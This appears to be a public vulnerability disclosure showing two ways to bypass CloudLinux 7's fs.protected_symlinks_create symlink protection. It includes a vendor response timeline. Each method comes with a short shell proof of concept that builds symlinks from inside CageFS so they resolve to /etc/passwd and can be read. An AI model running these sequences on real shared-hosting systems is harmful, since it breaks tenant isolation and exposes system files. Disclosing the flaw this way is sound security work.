Vulnerability
Affected software: CloudLinux 7 kernel, current version, as of last article update
fs.protected_symlinks_create=1
can be bypassed using 2 methods. Method 1 was used in ZSA-2019-7 exploit - it would not be possible to exploit ZSA-2019-7 if fs.protected_symlinks_create
was enabled and not bypassable.
Method 1
# Execute as user inside CageFS:
mkdir etc
touch etc/passwd
mkdir -p a/b/c/d
ln -s ../../../../etc/passwd a/b/c/d/link
mkdir test
mv a/b/c/d test/
# test/d/link now points to /etc/passwd:
cat test/d/link
# If You cat this link outside CageFS, it will point to /etc/passwd outside CageFS:
cat /home/user/test/d/link
Method 2
# Execute as user inside CageFS:
touch test
exec 10<test
ln -s /proc/$$/fd/10 link
exec 10<&-
exec 10</etc/passwd
# link now points to /etc/passwd:
cat link
# If You cat this link outside CageFS, it will point to /etc/passwd INSIDE CageFS,
# so it is not as bad as method 1 since it has very limited attack vector:
cat /home/user/link
Solution
Currently only CL 7 hybrid or newer kernel is supported, and cPanel processes only (at least that is what documentation claims) when You enable both fs.protected_symlinks_create
and fs.process_symlinks_by_task
. There is still no universal symlink protection for CL 7 kernel, as was originally stated for fs.protected_symlinks_create
.
Timeline
- 2019-08-16 - Vulnerability reported to vendor.
- 2019-08-19 - Response from vendor, work in progress, ETA end of Q3 2019.
- 2019-12-13 - Response from vendor, fix will be released soon.
- 2020-03-06 - Response from vendor, fix released for CloudLinux 8 and 7 (hybrid) kernels only and apparently for cPanel only instead of being universal fix.
- 2020-03-06 - Vendor says it can no longer reproduce vulnerability on standard CL 7 kernel.
- 2020-03-11 - Verified latest CL 7 kernel, vulnerability still exists.
- 2020-03-11 - Vendor denies claim, says that "by preventing user from creating symlinks and hardlinks to files that they don’t own" sentence in documentation does not say that this sysctl protects against attack with moving parent directory, so everything is fine (?!?!?!).
- 2020-03-12 - Finally some useful information from vendor, ticket escalated to support team manager.
- 2020-03-13 - Vendor says that documentation will be corrected and correct fix will be released on April 2020 merging
fs.protected_symlinks_create
withfs.process_symlinks_by_task
under single sysctl. - 2020-03-18 - Apologies from head of support.
- 2020-03-?? - Documentation states "When used outside CageFS (from cPanel tools for instance),
fs.protected_symlinks_create
isn't sufficient for symlink protection. To fully protect symlink access in this case, usefs.process_symlinks_by_task=1
in addition tofs.protected_symlinks_create=1
." and "fs.process_symlinks_by_task
is only available for CloudLinux 7 Hybrid for now and supports cPanel only.". - 2020-05-31 - Still no universal symlink protection for CL 7 kernel, as was originally stated for
fs.protected_symlinks_create
. Public disclosure.